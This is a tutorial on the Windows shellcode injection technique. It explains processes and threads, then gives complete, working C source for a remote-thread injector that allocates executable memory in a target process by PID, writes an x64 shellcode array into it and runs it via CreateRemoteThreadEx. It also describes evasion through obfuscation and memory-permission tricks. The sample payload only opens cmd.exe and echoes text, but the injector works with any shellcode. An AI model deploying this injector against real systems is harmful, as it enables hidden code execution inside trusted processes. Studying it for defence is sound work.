Shellcode Injection

Introduction
In this documentation, we will discuss Shellcode Injection Technique.
What is a Process?
In simple terms, a process is a unit of work created by the operating system to run a program. If a program is started—either by a user or by the operating system—it is first loaded into memory. Then, the operating system creates a process to execute it. The memory space for the loaded program is managed by this process, and the program’s instructions start running.
Any program you see in a graphical interface is just a set of files (essentially, program code) sitting on disk. As long as it’s not running, it’s inactive. When you launch it, the code is first loaded from disk into memory, and then execution begins. At this point, the program becomes active.
What is a Thread?
A process, in the simplest sense, is a running program. Inside a process, there can be one or more threads. A thread is the smallest unit of execution that the operating system schedules on the CPU. Any thread in a process can run any part of the program’s code—even parts that other threads are also running.
Compared to processes, threads are lighter and faster. A process can contain multiple threads, allowing it to perform multiple tasks at the same time.
For example, think of a web browser. One thread might handle user interactions with the interface, while other threads load web pages in the background. This way, the browser can respond to clicks while still loading content at the same time. Here’s a thread list from task manager:

What is Shellcode Injection?
Shellcode Execution is often associated with process injection techniques. After injecting shellcode into the memory of a target process, an attacker can gain control over the target system by having it executed. This execution is typically triggered through mechanisms such as remote thread creation, thread hijacking, or asynchronous procedure calls (APCs).
To evade detection, attackers often obfuscate their shellcode using encryption or encoding schemes, making it harder for signature-based scanners to identify malicious payloads. They may also manipulate memory permissions, marking regions as non-executable until just before execution, or use indirect execution techniques like return-oriented programming (ROP) to bypass control flow integrity checks.
Coding
Here’s a simple code:
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
/*
cmd /K "echo Shellcode Injection with bekoo"
*/
char Shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x4b\x20\x22\x65"
"\x63\x68\x6f\x20\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x20"
"\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x77\x69\x74\x68"
"\x20\x62\x65\x6b\x6f\x6f\x22\x00";
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: .\\program.exe <PID>");
return -1;
}
DWORD PID = atoi(argv[1]);
HANDLE HandleProcess = NULL;
HANDLE HandleThread = NULL;
LPVOID RemoteBuffer = NULL;
HandleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (HandleProcess == NULL) {
printf("Failed to Open Target Process! Error Code: 0x%lx", GetLastError());
return -1;
}
RemoteBuffer = VirtualAllocEx(HandleProcess, NULL, sizeof(Shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (RemoteBuffer == NULL) {
printf("Failed to Allocated Memory for DLL! Error Code: 0x%lx", GetLastError());
CloseHandle(HandleProcess);
return -1;
}
if (!(WriteProcessMemory(HandleProcess, RemoteBuffer, Shellcode, sizeof(Shellcode), 0))) {
printf("Failed to write dllPath to Allocated Memory Error Code: 0x%lx", GetLastError());
CloseHandle(HandleProcess);
return -1;
}
HandleThread = CreateRemoteThreadEx(HandleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteBuffer, NULL, 0, 0, 0);
if (HandleThread == NULL) {
printf("Failed to Create Thread! Error Code: 0x%lx\n", GetLastError());
CloseHandle(HandleProcess);
return -1;
}
WaitForSingleObject(HandleThread, INFINITE);
CloseHandle(HandleThread);
CloseHandle(HandleProcess);
return 0;
}
Now let’s take a look at this code one by one. Firstly, the shellcode in the project is a shellcode that opens cmd.exe and prints “Shellcode Injection with bekoo” on the screen. We will inject this shellcode into the target process.
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: .\\program.exe <PID>");
return -1;
}
DWORD PID = atoi(argv[1]);
HANDLE HandleProcess = NULL;
HANDLE HandleThread = NULL;
LPVOID RemoteBuffer = NULL;
...
We first check the argc variable in main. This variable holds the number of arguments given during the execution of the program. If argc is less than 2, we print the correct usage of the program to the screen and return the program with -1.
Then we create the variables needed to run the malware:
- PID: This variable holds the PID of the target process.
- HandleProcess: This variable is used to hold the handle of the target process.
- HandleThread: This variable is used to hold the handle of the thread to be created in the target process.
- RemoteBuffer: This variable is used to hold the address of the shellcode to be created in the target process.
HandleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (HandleProcess == NULL) {
printf("Failed to Open Target Process! Error Code: 0x%lx", GetLastError());
return -1;
}
In this section, we get the handle of the target process. So you can think of it as accessing the target program. If we can’t get the handle of the target process, we print an error message and return the program with -1.
RemoteBuffer = VirtualAllocEx(HandleProcess, NULL, sizeof(Shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (RemoteBuffer == NULL) {
printf("Failed to Allocated Memory for DLL! Error Code: 0x%lx", GetLastError());
CloseHandle(HandleProcess);
return -1;
}
Then we reserve a space in the memory of the target process to hold the shellcode. If this fails, we print an error message and return the program with -1.
if (!(WriteProcessMemory(HandleProcess, RemoteBuffer, Shellcode, sizeof(Shellcode), 0))) {
printf("Failed to write dllPath to Allocated Memory Error Code: 0x%lx", GetLastError());
CloseHandle(HandleProcess);
return -1;
}
In this section, we write the shellcode into the memory of the target process. If this fails, we print an error message and return the program with -1.
HandleThread = CreateRemoteThreadEx(HandleProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteBuffer, NULL, 0, 0, 0);
if (HandleThread == NULL) {
printf("Failed to Create Thread! Error Code: 0x%lx\n", GetLastError());
CloseHandle(HandleProcess);
return -1;
}
WaitForSingleObject(HandleThread, INFINITE);
CloseHandle(HandleThread);
CloseHandle(HandleProcess);
return 0;
}
In this section, we create a new thread in the target process. This thread will execute the shellcode in the memory of the target process. If this fails, we print an error message and return the program with -1.
Finally, we wait for the thread we created via WaitForSingleObject to finish and then release the handles of the target process.
Conclusion
In this documentation, we’ve explored the fundamentals of processes and threads, clarified the concept of shellcode, and demonstrated how injection works—step by step—through a practical example.
By injecting shellcode into a remote process and executing it via CreateRemoteThreadEx, attackers can achieve arbitrary code execution while masquerading as trusted software. However, this technique is not only popular among offensive security professionals but also serves as an important learning tool for defenders to understand how exploitation works under the hood.